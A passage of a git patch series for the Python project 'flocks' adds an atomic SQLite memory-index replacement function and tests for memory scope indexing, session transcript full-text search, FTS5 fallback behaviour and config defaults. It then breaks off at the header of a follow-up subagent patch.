(?, ?, ?, ?, ?, ?, ?) + (chunk_id, path, source, scope, scope_id, start_line, end_line, text) + VALUES (?, ?, ?, ?, ?, ?, ?, ?) """, [ ( chunk["id"], chunk["path"], chunk["source"], - chunk["project_id"], + chunk["scope"], + chunk["scope_id"], chunk["start_line"], chunk["end_line"], chunk["text"], @@ -430,6 +471,112 @@ async def insert_chunks( raise +async def replace_memory_file_index( + db_path: Path, + *, + file_entry: Dict[str, Any], + chunks: List[Dict[str, Any]], +) -> int: + """Atomically replace one Memory file's metadata, chunks, and FTS rows.""" + scope = file_entry["scope"] + scope_id = file_entry["scope_id"] + path = file_entry["path"] + now = datetime.now().timestamp() + async with Storage.connect(db_path) as db: + try: + await db.execute("BEGIN IMMEDIATE") + await db.execute( + """ + DELETE FROM memory_fts + WHERE scope = ? AND scope_id = ? + AND source = 'memory' AND path = ? + """, + (scope, scope_id, path), + ) + await db.execute( + """ + DELETE FROM memory_chunks + WHERE scope = ? AND scope_id = ? + AND source = 'memory' AND path = ? + """, + (scope, scope_id, path), + ) + await db.execute( + """ + INSERT OR REPLACE INTO memory_files ( + scope, scope_id, path, source, hash, mtime, size, indexed_at + ) VALUES (?, ?, ?, 'memory', ?, ?, ?, ?) + """, + ( + scope, + scope_id, + path, + file_entry["hash"], + file_entry["mtime"], + file_entry["size"], + now, + ), + ) + await db.executemany( + """ + INSERT INTO memory_chunks ( + id, scope, scope_id, path, source, start_line, end_line, hash, + text, embedding, embedding_model, embedding_dims, + created_at, updated_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + """, + [ + ( + chunk["id"], + chunk["scope"], + chunk["scope_id"], + chunk["path"], + chunk["source"], + chunk["start_line"], + chunk["end_line"], + chunk["hash"], + chunk["text"], + ( + json.dumps(chunk["embedding"]) + if chunk.get("embedding") + else None + ), + chunk.get("embedding_model"), + chunk.get("embedding_dims"), + now, + now, + ) + for chunk in chunks + ], + ) + await db.executemany( + """ + INSERT INTO memory_fts ( + chunk_id, path, source, scope, scope_id, start_line, end_line, + text + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?) + """, + [ + ( + chunk["id"], + chunk["path"], + chunk["source"], + chunk["scope"], + chunk["scope_id"], + chunk["start_line"], + chunk["end_line"], + chunk["text"], + ) + for chunk in chunks + ], + ) + await db.commit() + return len(chunks) + except BaseException: + await db.rollback() + raise + + async def get_embedding_from_cache( db_path: Path, text_hash: str, diff --git a/tests/config/test_config_init.py b/tests/config/test_config_init.py index 665cd6368..981e2496d 100644 --- a/tests/config/test_config_init.py +++ b/tests/config/test_config_init.py @@ -2,6 +2,8 @@ Tests for config file initialization from examples. """ +import json + import pytest @@ -44,8 +46,12 @@ def test_ensure_config_files_creates_from_examples(tmp_path, monkeypatch): assert mcp_file.exists() assert secret_file.exists() - # Content should match examples - assert config_file.read_text(encoding="utf-8") == '{"test": "config"}' + # Existing example content is preserved and Memory defaults are persisted. + config_data = json.loads(config_file.read_text(encoding="utf-8")) + assert config_data["test"] == "config" + assert set(config_data["memory"]) == {"search"} + assert config_data["memory"]["search"]["embedding"]["provider"] == "auto" + assert config_data["memory"]["search"]["embedding"]["enabled"] is False assert mcp_file.read_text(encoding="utf-8") == '{"test": "mcp"}' assert secret_file.read_text(encoding="utf-8") == '{"test": "secret"}' @@ -81,11 +87,37 @@ def test_ensure_config_files_skips_if_exists(tmp_path, monkeypatch): ensure_config_files = config_writer.ensure_config_files ensure_config_files() - # File should still have original content - assert config_file.read_text() == '{"test": "existing"}' + # Existing fields are preserved while the missing Memory config is added. + config_data = json.loads(config_file.read_text(encoding="utf-8")) + assert config_data["test"] == "existing" + assert set(config_data["memory"]) == {"search"} assert mcp_file.read_text() == '{"test": "mcp-existing"}' +def test_ensure_memory_config_is_written_to_flocks_json( + tmp_path, + monkeypatch, +): + """The generated Memory section belongs to the primary flocks.json.""" + config_dir = tmp_path / "home" / ".flocks" / "config" + config_dir.mkdir(parents=True) + monkeypatch.setenv("FLOCKS_CONFIG_DIR", str(config_dir)) + flocks_json = config_dir / "flocks.json" + flocks_json.write_text("{}", encoding="utf-8") + flocks_jsonc = config_dir / "flocks.jsonc" + flocks_jsonc.write_text('{"test": "jsonc"}', encoding="utf-8") + + from flocks.config.config import Config + from flocks.config.config_writer import ConfigWriter + + Config._global_config = None + Config._cached_config = None + assert ConfigWriter.ensure_memory_config() is True + memory_config = json.loads(flocks_json.read_text(encoding="utf-8"))["memory"] + assert set(memory_config) == {"search"} + assert flocks_jsonc.read_text(encoding="utf-8") == '{"test": "jsonc"}' + + def test_ensure_config_files_handles_missing_examples(tmp_path, monkeypatch): """Test that ensure_config_files handles missing example files gracefully.""" config_dir = tmp_path / "home" / ".flocks" / "config" diff --git a/tests/memory/test_memory_scope.py b/tests/memory/test_memory_scope.py new file mode 100644 index 000000000..63d0c20a8 --- /dev/null +++ b/tests/memory/test_memory_scope.py @@ -0,0 +1,311 @@ +"""Tests for Global and Project Memory scope isolation.""" + +import os +from pathlib import Path +import sqlite3 +from types import SimpleNamespace +from unittest.mock import AsyncMock, patch + +import pytest + +from flocks.memory.config import MemoryConfig +from flocks.memory.manager import MemoryManager +from flocks.memory.sync.indexer import MemoryIndexer +from flocks.memory.types import MemoryScope +from flocks.storage import ( + Storage, + ensure_vector_tables, + fts_search, + replace_memory_file_index, +) + + +def _file_entry( + scope: str, + scope_id: str, + path: str, +) -> dict[str, object]: + return { + "scope": scope, + "scope_id": scope_id, + "path": path, + "hash": f"hash:{scope}:{scope_id}:{path}", + "mtime": 1, + "size": 10, + } + + +def _chunk( + scope: str, + scope_id: str, + path: str, + text: str, +) -> dict[str, object]: + return { + "id": f"chunk:{scope}:{scope_id}:{path}", + "scope": scope, + "scope_id": scope_id, + "path": path, + "source": "memory", + "start_line": 1, + "end_line": 1, + "hash": f"hash:{text}", + "text": text, + "embedding": None, + "embedding_model": None, + "embedding_dims": None, + } + + +@pytest.mark.asyncio +async def test_search_reconciles_filesystem_before_every_search( + tmp_path: Path, +) -> None: + manager = MemoryManager( + project_id="prj_alpha", + workspace_dir=str(tmp_path), + config=MemoryConfig(), + ) + manager._initialized = True + manager.sync = AsyncMock(return_value={}) + manager.search_engine = SimpleNamespace( + search=AsyncMock(return_value=[]), + ) + + await manager.search("new filesystem memory") + + manager.sync.assert_awaited_once_with(reason="search") + + +@pytest.mark.asyncio +async def test_memory_search_is_global_across_scopes(tmp_path: Path) -> None: + db_path = tmp_path / "scope.db" + await Storage.init(db_path) + records = [ + ("global", "", "MEMORY.md", "scopeword global"), + ( + "project", + "prj_alpha", + "projects/prj_alpha/MEMORY.md", + "scopeword alpha", + ), + ( + "project", + "prj_beta", + "projects/prj_beta/MEMORY.md", + "scopeword beta", + ), + ] + for scope, scope_id, path, text in records: + await replace_memory_file_index( + db_path, + file_entry=_file_entry(scope, scope_id, path), + chunks=[_chunk(scope, scope_id, path, text)], + ) + + alpha = await fts_search(db_path, "prj_alpha", "scopeword") + default = await fts_search(db_path, "default", "scopeword") + + expected_paths = { + "MEMORY.md", + "projects/prj_alpha/MEMORY.md", + "projects/prj_beta/MEMORY.md", + } + assert {result["path"] for result in alpha} == expected_paths + assert {result["path"] for result in default} == expected_paths + + +@pytest.mark.asyncio +async def test_indexer_scans_global_and_all_projects( + tmp_path: Path, +) -> None: + memory_root = tmp_path / "memory" + (memory_root / "daily").mkdir(parents=True) + (memory_root / "projects" / "prj_alpha").mkdir(parents=True) + (memory_root / "projects" / "prj_beta").mkdir(parents=True) + (memory_root / "MEMORY.md").write_text("global", encoding="utf-8") + (memory_root / "daily" / "2026-01-01.md").write_text( + "daily", + encoding="utf-8", + ) + (memory_root / "projects" / "prj_alpha" / "MEMORY.md").write_text( + "alpha", + encoding="utf-8", + ) + (memory_root / "projects" / "prj_beta" / "MEMORY.md").write_text( + "beta", + encoding="utf-8", + ) + indexer = MemoryIndexer( + project_id="prj_alpha", + workspace_dir=tmp_path, + provider_id=None, + embedding_model="unused", + config=MemoryConfig(), + ) + + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + files = await indexer._scan_memory_files() + + identities = {(entry.scope.value, entry.scope_id, entry.path) for entry in files} + assert ("global", "", "MEMORY.md") in identities + assert ("global", "", "daily/2026-01-01.md") in identities + assert ( + "project", + "prj_alpha", + "projects/prj_alpha/MEMORY.md", + ) in identities + assert ( + "project", + "prj_beta", + "projects/prj_beta/MEMORY.md", + ) in identities + + +@pytest.mark.asyncio +async def test_indexer_does_not_read_unchanged_files( + tmp_path: Path, +) -> None: + db_path = tmp_path / "metadata-scan.db" + await Storage.init(db_path) + memory_root = tmp_path / "memory" + memory_root.mkdir() + memory_file = memory_root / "MEMORY.md" + memory_file.write_text("stable memory", encoding="utf-8") + indexer = MemoryIndexer( + project_id="global", + workspace_dir=tmp_path, + provider_id=None, + embedding_model="unused", + config=MemoryConfig(), + ) + + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + initial = await indexer.sync() + with patch.object( + Path, + "read_text", + side_effect=AssertionError("unchanged Memory file was read"), + ): + unchanged = await indexer.sync() + + assert initial["files_indexed"] == 1 + assert unchanged["files_indexed"] == 0 + assert unchanged["files_skipped"] == 1 + + +@pytest.mark.asyncio +async def test_indexer_refreshes_metadata_without_reindexing_unchanged_content( + tmp_path: Path, +) -> None: + db_path = tmp_path / "metadata-refresh.db" + await Storage.init(db_path) + memory_root = tmp_path / "memory" + memory_root.mkdir() + memory_file = memory_root / "MEMORY.md" + memory_file.write_text("stable memory", encoding="utf-8") + indexer = MemoryIndexer( + project_id="global", + workspace_dir=tmp_path, + provider_id=None, + embedding_model="unused", + config=MemoryConfig(), + ) + + with patch("flocks.config.Config.get_data_path", return_value=tmp_path): + await indexer.sync() + before = memory_file.stat() + os.utime( + memory_file, + ns=(before.st_atime_ns, before.st_mtime_ns + 2_000_000_000), + ) + with patch.object( + indexer, + "_index_file", + wraps=indexer._index_file, + ) as index_file: + touched = await indexer.sync() + indexed_files = await indexer._get_indexed_files() + with patch.object( + Path, + "read_text", + side_effect=AssertionError("refreshed Memory file was read again"), + ): + unchanged = await indexer.sync() + + indexed = indexed_files[("global", "", "MEMORY.md")] + assert touched["files_indexed"] == 0 + assert touched["files_skipped"] == 1 + index_file.assert_not_awaited() + assert indexed["mtime"] == memory_file.stat().st_mtime + assert unchanged["files_indexed"] == 0 + assert unchanged["files_skipped"] == 1 + + +@pytest.mark.asyncio +async def test_old_memory_index_schema_is_rebuilt_without_other_data( + tmp_path: Path, +) -> None: + db_path = tmp_path / "legacy.db" + connection = sqlite3.connect(db_path) + connection.executescript( + """ + CREATE TABLE memory_files ( + path TEXT PRIMARY KEY, + project_id TEXT NOT NULL, + source TEXT NOT NULL, + hash TEXT NOT NULL, + mtime REAL NOT NULL, + size INTEGER NOT NULL, + indexed_at REAL NOT NULL + ); + CREATE TABLE memory_chunks ( + id TEXT PRIMARY KEY, + path TEXT NOT NULL, + project_id TEXT NOT NULL, + source TEXT NOT NULL, + start_line INTEGER NOT NULL, + end_line INTEGER NOT NULL, + hash TEXT NOT NULL, + text TEXT NOT NULL, + embedding BLOB, + embedding_model TEXT, + embedding_dims INTEGER, + created_at REAL NOT NULL, + updated_at REAL NOT NULL + ); + CREATE VIRTUAL TABLE memory_fts USING fts5( + text, chunk_id, path, source, project_id, start_line, end_line + ); + CREATE TABLE memory_embedding_cache ( + text_hash TEXT NOT NULL, + provider TEXT NOT NULL, + model TEXT NOT NULL, + embedding BLOB NOT NULL, + dims INTEGER NOT NULL, + created_at REAL NOT NULL, + accessed_at REAL NOT NULL, + PRIMARY KEY (text_hash, provider, model) + ); + INSERT INTO memory_embedding_cache + VALUES ('hash', 'provider', 'model', '[1.0]', 1, 1, 1); + CREATE VIRTUAL TABLE session_transcript_fts USING fts5(text); + INSERT INTO session_transcript_fts VALUES ('preserved'); + """ + ) + connection.commit() + connection.close() + + await ensure_vector_tables(db_path) + + connection = sqlite3.connect(db_path) + columns = {row[1] for row in connection.execute("PRAGMA table_info(memory_files)")} + cache_row = connection.execute("SELECT text_hash FROM memory_embedding_cache").fetchone() + marker_row = connection.execute( + "SELECT text FROM session_transcript_fts" + ).fetchone() + connection.close() + + assert {"scope", "scope_id", "path"}.issubset(columns) + assert cache_row == ("hash",) + assert marker_row == ("preserved",) diff --git a/tests/memory/test_session_transcript_search.py b/tests/memory/test_session_transcript_search.py new file mode 100644 index 000000000..aa2c05c51 --- /dev/null +++ b/tests/memory/test_session_transcript_search.py @@ -0,0 +1,622 @@ +"""Session transcript FTS lifecycle tests.""" + +from pathlib import Path +import sqlite3 +from unittest.mock import AsyncMock, Mock +import uuid + +import pytest + +from flocks.config.config import Config +from flocks.memory.config import MemoryConfig +from flocks.memory.manager import MemoryManager +from flocks.memory.search.hybrid import HybridSearch +from flocks.memory.types import MemorySearchResult +from flocks.memory.types import MemorySource +from flocks.provider import Provider +from flocks.session.message import Message, MessageRole +from flocks.session.session import Session, SessionInfo +from flocks.storage.session_search import ( + SessionSearchUnavailableError, + _is_fts5_unavailable_error, + ensure_session_index_ready, + ensure_session_search_tables, + reconcile_session_index, + session_fts_search, +) +from flocks.storage import session_search as session_search_module +from flocks.storage.storage import Storage + + +@pytest.fixture(autouse=True) +async def isolate_transcript_search( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +): + flocks_root = tmp_path / "flocks-home" + data_dir = flocks_root / "data" + monkeypatch.setenv("FLOCKS_ROOT", str(flocks_root)) + monkeypatch.setenv("FLOCKS_DATA_DIR", str(data_dir)) + monkeypatch.setenv("FLOCKS_LOG_DIR", str(flocks_root / "logs")) + monkeypatch.setenv("FLOCKS_RECORD_DIR", str(data_dir / "records")) + + Config._global_config = None + Config.clear_cache() + Storage._initialized = False + Storage._db_path = None + Session.invalidate_cache() + Message.invalidate_cache() + MemoryManager._instances.clear() + await Storage.init() + + yield + + Session.invalidate_cache() + Message.invalidate_cache() + MemoryManager._instances.clear() + Config._global_config = None + Config.clear_cache() + Storage._initialized = False + Storage._db_path = None + + +async def _create_session(tmp_path: Path, project_id: str = "project-search"): + session = SessionInfo( + id=f"session-{uuid.uuid4().hex}", + project_id=project_id, + directory=str(tmp_path), + agent="rex", + memory_enabled=True, + ) + await Storage.set( + f"session:{project_id}:{session.id}", + session, + "session", + ) + Session.invalidate_cache() + return session + + +def test_only_explicit_missing_fts5_errors_are_classified() -> None: + assert _is_fts5_unavailable_error( + sqlite3.OperationalError("no such module: fts5") + ) + assert _is_fts5_unavailable_error( + sqlite3.OperationalError("unknown module: fts5") + ) + assert not _is_fts5_unavailable_error( + sqlite3.OperationalError("database is locked") + ) + assert not _is_fts5_unavailable_error( + RuntimeError("no such module: fts5") + ) + + +@pytest.mark.asyncio +async def test_session_schema_probe_degrades_when_fts5_module_is_missing( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + class MissingFtsConnection: + def __init__(self): + self.statements: list[str] = [] + self.committed = False + + async def executescript(self, sql: str): + self.statements.append(sql) + + async def execute(self, sql: str, _parameters=()): + self.statements.append(sql) + if "_flocks_session_fts5_probe" in sql: + raise sqlite3.OperationalError("no such module: fts5") + return None + + async def commit(self): + self.committed = True + + class MissingFtsContext: + def __init__(self): + self.connection = MissingFtsConnection() + + async def __aenter__(self): + return self.connection + + async def __aexit__(self, *_args): + return None + + context = MissingFtsContext() + monkeypatch.setattr( + Storage, + "connect", + classmethod(lambda _cls, _path=None: context), + ) + + assert not await ensure_session_search_tables(tmp_path / "missing-fts.db") + assert context.connection.committed + assert any( + "DELETE FROM session_transcript_meta" in statement + for statement in context.connection.statements + ) + + +@pytest.mark.asyncio +async def test_messages_persist_when_session_search_is_disabled( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + session = await _create_session(tmp_path) + index_message = AsyncMock( + side_effect=AssertionError("Session FTS hook must be disabled") + ) + monkeypatch.setattr( + session_search_module, + "upsert_session_document", + index_message, + ) + monkeypatch.setattr(Storage, "_session_search_available", False) + + message = await Message.create( + session.id, + MessageRole.USER, + "canonical message survives without FTS5", + ) + + stored = await Message.get(session.id, message.id) + assert stored is not None + parts = await Message.parts(message.id, session.id) + assert [part.text for part in parts if part.type == "text"] == [ + "canonical message survives without FTS5" + ] + index_message.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_session_search_reports_fts5_unavailable( + monkeypatch: pytest.MonkeyPatch, +) -> None: + monkeypatch.setattr(Storage, "_session_search_available", False) + + with pytest.raises( + SessionSearchUnavailableError, + match="SQLite runtime does not support FTS5", + ): + await session_fts_search( + db_path=Storage.get_db_path(), + project_id="default", + query="anything", + max_results=10, + ) + + +@pytest.mark.asyncio +async def test_memory_manager_starts_without_fts5_and_session_search_fails_clearly( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setattr(Provider, "init", AsyncMock()) + monkeypatch.setattr(Provider, "get", lambda _provider_id: None) + monkeypatch.setattr(Storage, "_session_search_available", False) + + manager = MemoryManager( + project_id="default", + workspace_dir=str(tmp_path), + config=MemoryConfig(sources=["session"]), + ) + + await manager.initialize() + + assert manager._initialized + with pytest.raises( + SessionSearchUnavailableError, + match="SQLite runtime does not support FTS5", + ): + await manager.search( + query="anything", + sources=[MemorySource.SESSION], + ) + + +@pytest.mark.asyncio +async def test_text_part_updates_and_message_delete_update_fts( + tmp_path: Path, +) -> None: + session = await _create_session(tmp_path) + message = await Message.create( + session.id, + MessageRole.USER, + "initial searchable phrase", + ) + + results = await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="searchable", + max_results=10, + ) + assert [result["path"] for result in results] == [ + f"sessions/{session.id}/messages/{message.id}" + ] + + part = (await Message.parts(message.id, session.id))[0] + await Message.update_part( + session.id, + message.id, + part.id, + text="replacement transcript text", + ) + assert not await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="initial", + max_results=10, + ) + assert await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="replacement", + max_results=10, + ) + + assert await Message.delete(session.id, message.id) + assert not await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="replacement", + max_results=10, + ) + + +@pytest.mark.asyncio +async def test_session_search_is_global_across_projects( + tmp_path: Path, +) -> None: + alpha = await _create_session(tmp_path, project_id="prj_alpha") + beta = await _create_session(tmp_path, project_id="prj_beta") + alpha_message = await Message.create( + alpha.id, + MessageRole.USER, + "cross project session marker alpha", + ) + beta_message = await Message.create( + beta.id, + MessageRole.ASSISTANT, + "cross project session marker beta", + ) + + results = await session_fts_search( + db_path=Storage.get_db_path(), + project_id=alpha.project_id, + query="cross project session marker", + max_results=10, + ) + + assert {result["path"] for result in results} == { + f"sessions/{alpha.id}/messages/{alpha_message.id}", + f"sessions/{beta.id}/messages/{beta_message.id}", + } + + async with Storage.connect(Storage.get_db_path()) as db: + await db.execute("DELETE FROM session_transcript_fts") + await db.execute("DELETE FROM session_transcript_index_state") + await db.commit() + stats = await reconcile_session_index(batch_size=1) + rebuilt = await session_fts_search( + db_path=Storage.get_db_path(), + project_id=alpha.project_id, + query="cross project session marker", + max_results=10, + ) + assert stats["updated"] == 2 + assert {result["path"] for result in rebuilt} == { + f"sessions/{alpha.id}/messages/{alpha_message.id}", + f"sessions/{beta.id}/messages/{beta_message.id}", + } + + +@pytest.mark.asyncio +async def test_reconciliation_restores_history_and_removes_orphans( + tmp_path: Path, +) -> None: + session = await _create_session(tmp_path) + message = await Message.create( + session.id, + MessageRole.ASSISTANT, + "historical reconciliation marker", + ) + + async with Storage.connect(Storage.get_db_path()) as db: + await db.execute("DELETE FROM session_transcript_fts") + await db.execute( + "INSERT INTO session_transcript_fts(rowid, text) VALUES (999, 'orphan')" + ) + await db.commit() + + stats = await reconcile_session_index( + project_id=session.project_id, + batch_size=1, + ) + assert stats["updated"] == 1 + results = await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="reconciliation", + max_results=10, + ) + assert results[0]["path"].endswith(message.id) + + async with Storage.connect(Storage.get_db_path()) as db: + cursor = await db.execute( + "SELECT count(*) FROM session_transcript_fts WHERE rowid = 999" + ) + assert (await cursor.fetchone())[0] == 0 + + +@pytest.mark.asyncio +async def test_session_history_backfill_runs_only_once( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + session = await _create_session(tmp_path) + message = await Message.create( + session.id, + MessageRole.USER, + "legacy transcript backfill marker", + ) + async with Storage.connect(Storage.get_db_path()) as db: + await db.execute("DELETE FROM session_transcript_fts") + await db.execute("DELETE FROM session_transcript_index_state") + await db.commit() + + reconcile = AsyncMock( + wraps=session_search_module._reconcile_session_index_unlocked + ) + monkeypatch.setattr( + session_search_module, + "_reconcile_session_index_unlocked", + reconcile, + ) + + assert await ensure_session_index_ready(batch_size=1) + assert not await ensure_session_index_ready(batch_size=1) + assert reconcile.await_count == 1 + + results = await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="legacy transcript", + max_results=10, + ) + assert [result["path"] for result in results] == [ + f"sessions/{session.id}/messages/{message.id}" + ] + + +@pytest.mark.asyncio +async def test_failed_session_backfill_is_retried( + monkeypatch: pytest.MonkeyPatch, +) -> None: + original_reconcile = session_search_module._reconcile_session_index_unlocked + attempts = 0 + + async def fail_once(*, project_id=None, batch_size=50): + nonlocal attempts + attempts += 1 + if attempts == 1: + raise RuntimeError("injected backfill failure") + return await original_reconcile( + project_id=project_id, + batch_size=batch_size, + ) + + monkeypatch.setattr( + session_search_module, + "_reconcile_session_index_unlocked", + fail_once, + ) + + with pytest.raises(RuntimeError, match="injected backfill failure"): + await ensure_session_index_ready(batch_size=1) + + assert await ensure_session_index_ready(batch_size=1) + assert attempts == 2 + + +@pytest.mark.asyncio +async def test_memory_managers_share_one_global_file_indexer( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setattr(Provider, "init", AsyncMock()) + monkeypatch.setattr(Provider, "get", lambda _provider_id: None) + sync = AsyncMock( + return_value={ + "files_scanned": 0, + "files_indexed": 0, + "files_skipped": 0, + "chunks_created": 0, + "embeddings_generated": 0, + "cache_hits": 0, + } + ) + monkeypatch.setattr("flocks.memory.sync.indexer.MemoryIndexer.sync", sync) + + config = MemoryConfig(sources=["memory"]) + alpha = MemoryManager.get_instance( + project_id="prj_alpha", + workspace_dir=str(tmp_path / "alpha"), + config=config, + ) + beta = MemoryManager.get_instance( + project_id="prj_beta", + workspace_dir=str(tmp_path / "beta"), + config=config, + ) + + await alpha.initialize() + await beta.initialize() + + assert alpha.indexer is beta.indexer + assert sync.await_count == 1 + + +@pytest.mark.asyncio +async def test_synthetic_text_is_not_indexed(tmp_path: Path) -> None: + session = await _create_session(tmp_path) + await Message.create( + session.id, + MessageRole.ASSISTANT, + "synthetic compaction marker", + synthetic=True, + ) + + assert not await session_fts_search( + db_path=Storage.get_db_path(), + project_id=session.project_id, + query="compaction", + max_results=10, + ) + + +@pytest.mark.asyncio +async def test_explicit_session_search_persists_opt_in_without_embeddings( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + session = await _create_session(tmp_path) + await Message.create( + session.id, + MessageRole.USER, + "session source opt in marker", + ) + monkeypatch.setattr(Provider, "init", AsyncMock()) + monkeypatch.setattr(Provider, "get", lambda _provider_id: None) + + manager = MemoryManager( + project_id=session.project_id, + workspace_dir=str(tmp_path), + config=MemoryConfig(sources=["memory"]), + ) + results = await manager.search( + query="marker", + sources=[MemorySource.SESSION], + ) + + assert results + assert results[0].source is MemorySource.SESSION + assert manager.provider_id is None + assert "session" in manager.config.sources + + config_path = Config.get_config_file() + persisted = config_path.read_text(encoding="utf-8") + assert '"sources": [' in persisted + assert '"session"' in persisted + + +@pytest.mark.asyncio +async def test_memory_search_uses_fts_without_embedding_provider( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + provider_init = AsyncMock() + provider_get = Mock() + monkeypatch.setattr(Provider, "init", provider_init) + monkeypatch.setattr(Provider, "get", provider_get) + async with Storage.connect(Storage.get_db_path()) as db: + await db.execute( + """ + INSERT INTO memory_fts ( + text, chunk_id, path, source, scope, scope_id, + start_line, end_line + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?) + """, + ( + "durable keyword memory", + "chunk-1", + "MEMORY.md", + "memory", + "global", + "", + 1, + 1, + ), + ) + await db.commit() + + manager = MemoryManager( + project_id="project-memory", + workspace_dir=str(tmp_path), + config=MemoryConfig(sources=["memory"]), + ) + results = await manager.search("durable") + + assert manager.provider_id is None + provider_init.assert_not_awaited() + provider_get.assert_not_called() + assert [result.path for result in results] == ["MEMORY.md"] + + +@pytest.mark.asyncio +async def test_memory_sync_indexes_fts_when_embeddings_are_unavailable( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setattr(Provider, "init", AsyncMock()) + monkeypatch.setattr(Provider, "get", lambda _provider_id: None) + memory_root = Config.get_data_path() / "memory" + memory_root.mkdir(parents=True, exist_ok=True) + (memory_root / "notes.md").write_text( + "fts fallback indexing marker", + encoding="utf-8", + ) + + manager = MemoryManager( + project_id="project-sync", + workspace_dir=str(tmp_path), + config=MemoryConfig(sources=["memory"]), + ) + await manager.sync(force=True) + results = await manager.search("fallback") + + assert results + assert results[0].path == "notes.md" + + +@pytest.mark.asyncio +async def test_embedding_failure_falls_back_to_keyword_results( + monkeypatch: pytest.MonkeyPatch, +) -> None: + engine = HybridSearch( + project_id="project-fallback", + provider_id="openai", + embedding_model="embedding-model", + config=MemoryConfig().query, + ) + monkeypatch.setattr( + engine, + "_vector_search", + AsyncMock(side_effect=RuntimeError("embedding unavailable")), + ) + monkeypatch.setattr( + engine, + "_keyword_search", + AsyncMock( + return_value=[ + MemorySearchResult( + path="MEMORY.md", + start_line=1, + end_line=1, + score=1.0, + snippet="keyword fallback", + source=MemorySource.MEMORY, + ) + ] + ), + ) + + results = await engine.search( + query="fallback", + max_results=6, + min_score=0.35, + sources=[MemorySource.MEMORY], + ) + assert [result.path for result in results] == ["MEMORY.md"] diff --git a/tests/session/test_message_parts_persistence.py b/tests/session/test_message_parts_persistence.py index 61dafc1ff..a827828e2 100644 --- a/tests/session/test_message_parts_persistence.py +++ b/tests/session/test_message_parts_persistence.py @@ -193,10 +193,10 @@ async def test_delete_restores_caches_when_message_persistence_fails( id="msg_a", part_id="part_a", ) - persist_messages = AsyncMock( + mutate_many = AsyncMock( side_effect=RuntimeError("message storage unavailable") ) - monkeypatch.setattr(Message, "_persist_messages", persist_messages) + monkeypatch.setattr(Storage, "mutate_many", mutate_many) with pytest.raises(RuntimeError, match="message storage unavailable"): await Message.delete(session_id, "msg_a") @@ -210,9 +210,7 @@ async def test_delete_restores_caches_when_message_persistence_fails( @pytest.mark.asyncio -async def test_delete_commits_when_parts_cleanup_fails( - monkeypatch: pytest.MonkeyPatch, -) -> None: +async def test_delete_removes_message_and_parts_atomically() -> None: session_id = "ses_parts_delete_parts_failure" await Message.create( session_id, @@ -221,19 +219,10 @@ async def test_delete_commits_when_parts_cleanup_fails( id="msg_a", part_id="part_a", ) - original_delete = Storage.delete - - async def fail_parts_delete(key: str) -> None: - if key == f"message_parts:{session_id}:msg_a": - raise RuntimeError("parts storage unavailable") - await original_delete(key) - - monkeypatch.setattr(Storage, "delete", fail_parts_delete) - assert await Message.delete(session_id, "msg_a") is True assert await Message.get(session_id, "msg_a") is None assert await Storage.get(f"message:{session_id}") == [] - assert await Storage.get(f"message_parts:{session_id}:msg_a") is not None + assert await Storage.get(f"message_parts:{session_id}:msg_a") is None @pytest.mark.asyncio diff --git a/tests/storage/test_storage.py b/tests/storage/test_storage.py index 36f644d2d..c15d92a22 100644 --- a/tests/storage/test_storage.py +++ b/tests/storage/test_storage.py @@ -16,6 +16,7 @@ from pydantic import BaseModel from flocks.project.instance import Instance +from flocks.storage import session_search as session_search_module from flocks.storage.storage import Storage from flocks.task.store import TaskStore from flocks.workflow.store import WorkflowStore @@ -28,6 +29,49 @@ class StorageTestModel(BaseModel): value: int +@pytest.mark.asyncio +async def test_storage_init_continues_when_session_fts_is_unavailable( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setattr( + session_search_module, + "ensure_session_search_tables", + AsyncMock(return_value=False), + ) + + with patch.object(Storage, "_initialized", False), patch.object( + Storage, + "_db_path", + None, + ), patch.object(Storage, "_session_search_available", True): + await Storage.init(tmp_path / "fts-unavailable.db") + + assert Storage._initialized + assert not Storage.session_search_available() + + +@pytest.mark.asyncio +async def test_storage_init_propagates_unexpected_session_schema_failure( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + failure = RuntimeError("unexpected schema failure") + monkeypatch.setattr( + session_search_module, + "ensure_session_search_tables", + AsyncMock(side_effect=failure), + ) + + with patch.object(Storage, "_initialized", False), patch.object( + Storage, + "_db_path", + None, + ), patch.object(Storage, "_session_search_available", True): + with pytest.raises(RuntimeError, match="unexpected schema failure"): + await Storage.init(tmp_path / "broken-session-schema.db") + + def _require_sqlite_recover() -> None: sqlite_bin = shutil.which("sqlite3") if sqlite_bin is None: From 4a479e66c23381c7a508a76b714c75b27e723db0 Mon Sep 17 00:00:00 2001 From: xiami762 <> Date: Tue, 4 Aug 2026 14:10:19 +0800 Subject: [PATCH 05/67] fix(subagent): preserve interruption state and prevent replay --- flocks/session/runner.py | 34 +++++++-- flocks/tool/agent/delegate_task.py | 2 +- flocks/tool/subagent_result.py | 10 +++ tests/session/test_runner_llm_hooks.py | 93 ++++++++++++++++++++++++ tests/session/test_runner_step.py | 54 ++++++++++++++ tests/tool/test_delegate_task_compat.py | 94 ++++++++++++++++++++++++- 6 files 